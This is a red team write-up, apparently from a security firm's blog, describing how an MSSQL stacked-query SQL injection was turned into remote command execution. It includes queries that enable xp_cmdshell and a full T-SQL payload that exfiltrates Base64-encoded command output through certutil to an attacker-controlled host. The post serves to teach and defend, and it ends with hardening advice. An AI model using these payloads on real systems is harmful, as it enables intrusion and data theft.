BlackArrow blog header

Red Team Tales 0x01: From MSSQL SQL Injection to RCE


In a Red Team operation, a perimeter asset vulnerable to SQL Injection was identified. Through this vulnerability it was possible to execute commands on the server, requiring an unusual tactic to achieve the exfiltration of the output of the commands. In this article we will explain the approach that was followed to successfully compromise this first perimeter element that was later used to pivot the internal network.

0x01 – Stacked queries

The starting environment is an ASP application that uses a Microsoft SQL Server as its database engine.

The vulnerability is quickly located because, when inserting a simple quotation mark, an ODBC Driver error is displayed on the page indicating that the closing quotation mark is missing. After several failed attempts to form a valid query or SQL expression (e.g. concatenation with the”+” operator), the option of the injection point being a parameter in a stored procedure call is considered. To confirm this, new parameters are introduced by injecting a comma, which effectively causes an error due to an excess of arguments.

mssql sql injection

Error caused by sending too many arguments

As the documentation specifies, the parameters passed to a stored procedure must be constants or variables, so typical union-based or blind techniques cannot be applied. The alternative: the use of stacked queries, supported by default in ASP environments with SQL Server.

Stacked queries consist of the execution of two or more SQL queries in the same transaction, separated by the semicolon character. In this way, it is possible to dump information from the database using time-based techniques:

mssql blind sql injection

In this case, the web application does not handle critical information or users with greater privileges, so the Red Team proceeds to investigate new ways, such as the execution of commands.

In MSSQL, there is a procedure called xp_cmdshell that receives a command from Windows, executes it and returns the result as rows of text. The problem in a scenario like this is that the output will never be returned to the user, since the injection no longer occurs in the original query. Therefore, to check that the commands are executed correctly, a by-default Windows utility is used: certutil.exe.

This command, whose original utility is the management of certificates, can be very useful in a Red Team exercise for many reasons:

  • It is by-default Windows binary signed by Microsoft.
  • Allows to make HTTP/s connections and is proxy-aware (uses the proxy configured in the system).
  • Allows to perform Base64 or hex encoding/decoding.

In our scenario, it will be used to make a HTTPs request to a web server controlled by us, so we can confirm that the command was actually executed.

xp_cmdshell sql injection

Our server receives a request with User-AgentCertUtil URL Agent

Although the most common case is that the user of the application does not have permissions to execute the xp_cmdshell procedure (by default disabled), it has been seen on several occasions that, due to a bad configuration, it does have permissions to enable it. In that case, the following queries could be used:

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

From here, we’ll see how to exfiltrate the output of any command executed.

0x02 – MSSQL data exfiltration

At this point we can execute system commands and make HTTP/s requests to a web server controlled by us. Mixing these two ingredients, it is trivial to exfiltrate information by sending a GET request to https://redteam/[encoded_information]. In this case, Base64 is chosen over hexadecimal, because it allows to save more information in fewer characters.

The procedure to achieve it is as follows:

  1. Declare a variable of “table” type to save the output that returns the xp_cmdshell procedure (remember that it returns the result in several rows).
  2. Dump the output of the command to the previous variable.
  3. Concatenate the rows of the table, separated by a line break.
  4. Encode the resulting string in Base64 and save it in a variable.
  5. Generate the certutil command, appending the string with the result.
  6. Execute it.

There is no direct way to perform steps 3 and 4 in T-SQL, but they can be sorted out with two little tricks:

  • There is no function like group_concat (MySQL), so the FOR XML clause is used to concatenate all the rows. In this way, it is possible to obtain the data in the form of a single string (XML), from which we remove the information of the labels by indicating an empty string in PATH mode:
SELECT column+char(10) as 'text()' FROM table FOR XML path('')  -- A line break is appended at the end of each row - char(10)
  • On the other hand, there is also no direct way to convert a string to Base64, but there is an option to represent the binary data in Base64. The solution, then, is to convert the string previously into a binary data type:
SELECT cast('tarlogic' AS varbinary(max)) FOR XML path(''), BINARY BASE64

To perform this encoding there are other alternatives, such as the use of XQuery.

Putting all the steps together in T-SQL, they would look like the following:

declare @r varchar(4120),@cmdOutput varchar(4120);
declare @res TABLE(line varchar(max));

insert into @res exec xp_cmdshell 'COMMAND';

set @cmdOutput=(select (select cast((select line+char(10) COLLATE SQL_Latin1_General_CP1253_CI_AI as 'text()' from @res for xml path('')) as varbinary(max))) for xml path(''),binary base64);

set @r=concat('certutil -urlcache -f https://redteam/',@cmdOutput);

exec xp_cmdshell @r;

When reading the table containing the result of the command, the collation has been taken into account, since the compromised server returned information such as letters with accent mark that spoiled the Base64 encoding.

xp_cmdshell exfiltration

Request log containing the output of the commands in Base64

Also, when decoding Base64, it must be taken into account that, since it’s a Windows environment, the output of the command will be represented in Unicode.

0x03 – SQL Injection Automatization

Once we have the ability to execute and view the output of any command, we proceed to automate the process. To do this, the Red Team developed a tool that offers the user a prompt to enter a command. Then, it generates the payload needed to run it while a web server is deployed in order to receive the result. Finally, it decodes it and displays it on the screen.

xp_cmdshell exploit

Tool for automatization

The tool source code, as proof of concept, is available at the following link:


We have seen how a perimeter asset that a priori did not handle critical or useful information to carry out an intrusion, has allowed the Red Team to turn it into a stepping stone to pivot to the internal network of the target. For this reason, it is important to consider the need for a hardening process and the creation of alerts for this kind of exfiltration, and not just periodic vulnerability audits.

Discover our work and Red Team services at